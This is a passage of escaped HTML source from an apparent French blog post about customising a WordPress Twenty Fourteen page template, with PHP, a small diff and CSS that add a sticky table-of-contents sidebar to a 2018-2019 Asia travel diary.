style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;div id=&amp;#34;main-content&amp;#34; class=&amp;#34;main-content&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;!-- Personnalisation pour la TOC --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;div class=&amp;#34;container-toc&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;        &amp;lt;div class=&amp;#34;content-toc&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;!-- FIN Personnalisation pour la TOC --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&amp;lt;?php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;// Start the Loop.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;while ( have_posts() ) :&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;the_post();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;// Include the page content template.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;!-- Personnalisation pour la TOC --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;get_template_part( &amp;#39;toc&amp;#39;, &amp;#39;page&amp;#39; );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;!-- FIN Personnalisation pour la TOC --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;// If comments are open or we have at least one comment, load up the comment template.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;if ( comments_open() || get_comments_number() ) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;&#x9;comments_template();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;endwhile;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;        &amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;!-- Personnalisation pour la TOC --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&amp;lt;div class=&amp;#34;sidebar-toc&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&amp;lt;div class=&amp;#34;floating-menu-toc&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;&amp;lt;ul&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;&#x9;&amp;lt;h2&amp;gt;Voyage Asie 2018-2019&amp;lt;/h2&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;&#x9;&amp;lt;h3&amp;gt;Table des matières&amp;lt;/h3&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;&#x9;&amp;lt;li id=&amp;#34;country&amp;#34;&amp;gt;Thaïlande&amp;lt;/li&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;&#x9;&amp;lt;li id=&amp;#34;locations&amp;#34;&amp;gt;&amp;lt;a href=&amp;#34;&amp;#34;&amp;gt;Bangkok&amp;lt;/a&amp;gt; |&amp;lt;/li&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;&#x9;&amp;lt;li id=&amp;#34;locations&amp;#34;&amp;gt;&amp;lt;a href=&amp;#34;&amp;#34;&amp;gt;Bangkok - Siem Reap&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&#x9;&amp;lt;/ul&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;!-- FIN Personnalisation pour la TOC --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;if ( is_front_page() &amp;amp;&amp;amp; twentyfourteen_has_featured_posts() ) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;// Include the featured content template.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;get_template_part( &amp;#39;featured-content&amp;#39; );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&amp;lt;!-- #main-content --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;get_sidebar();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;get_footer();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On voit que le menu doit y être créé directement, ce template ne servira donc que pour ce journal de voyage, mais ce n&amp;rsquo;est pas vraiment gênant. À noter la ligne suivante :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// Include the page content template.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;!--&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Personnalisation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;pour&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;la&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;TOC&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;--&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;&#x9;&lt;span style=&#34;color:#a6e22e&#34;&gt;get_template_part&lt;/span&gt;( &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;toc&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;page&amp;#39;&lt;/span&gt; );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;!--&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;FIN&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Personnalisation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;pour&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;la&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;TOC&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;--&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En fait, cette ligne permet au template de page d&amp;rsquo;appeller un autre fichier, qui par défaut s&amp;rsquo;appelle &lt;code&gt;content-page.php&lt;/code&gt;. J&amp;rsquo;ai donc remplacé &amp;ldquo;content&amp;rdquo; par &amp;ldquo;toc&amp;rdquo; dans la ligne et copier &lt;code&gt; content-page.php&lt;/code&gt; dans un nouveau fichier appelé &lt;code&gt;toc-page.php&lt;/code&gt;. Ceci afin de modifier la classe utilisée CSS pour qu&amp;rsquo;elle convienne à celle que j&amp;rsquo;utilise pour la TOC :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ diff content-page.php toc-page.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;18c18&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt; &#x9;&amp;lt;div class&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;entry-content&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; &#x9;&amp;lt;div class&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;content-toc&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et enfin voilà le CSS ajouté au fichier &lt;code&gt;style.css&lt;/code&gt; du thème :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;container-toc&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;display&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;flex&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;flex-wrap&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;nowrap&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;justify-content&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;space-between&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;padding&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Contenu principal */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;content-toc&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;flex&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;margin-right&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;; &lt;span style=&#34;color:#75715e&#34;&gt;/* Espacement entre le contenu et la colonne */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Sidebar avec un menu flottant */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;sidebar-toc&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;width&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;250&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;background-color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#f4f4f4&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;padding&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;border-radius&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Menu flottant */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;floating-menu-toc&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;position&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;-webkit-&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;sticky&lt;/span&gt;; &lt;span style=&#34;color:#75715e&#34;&gt;/* Pour les anciens navigateurs Safari */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;position&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;sticky&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;top&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;; &lt;span style=&#34;color:#75715e&#34;&gt;/* Menu fixé à 100px du haut de la page */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;background-color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#f9f9f9&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;padding&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;15&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;border-radius&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;border&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;solid&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;#ddd&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;box-shadow&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt; rgba(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0.1&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;z-index&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Liste du menu */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;floating-menu-toc&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;ul&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;list-style-type&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;none&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;floating-menu-toc&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;li&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;margin&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span 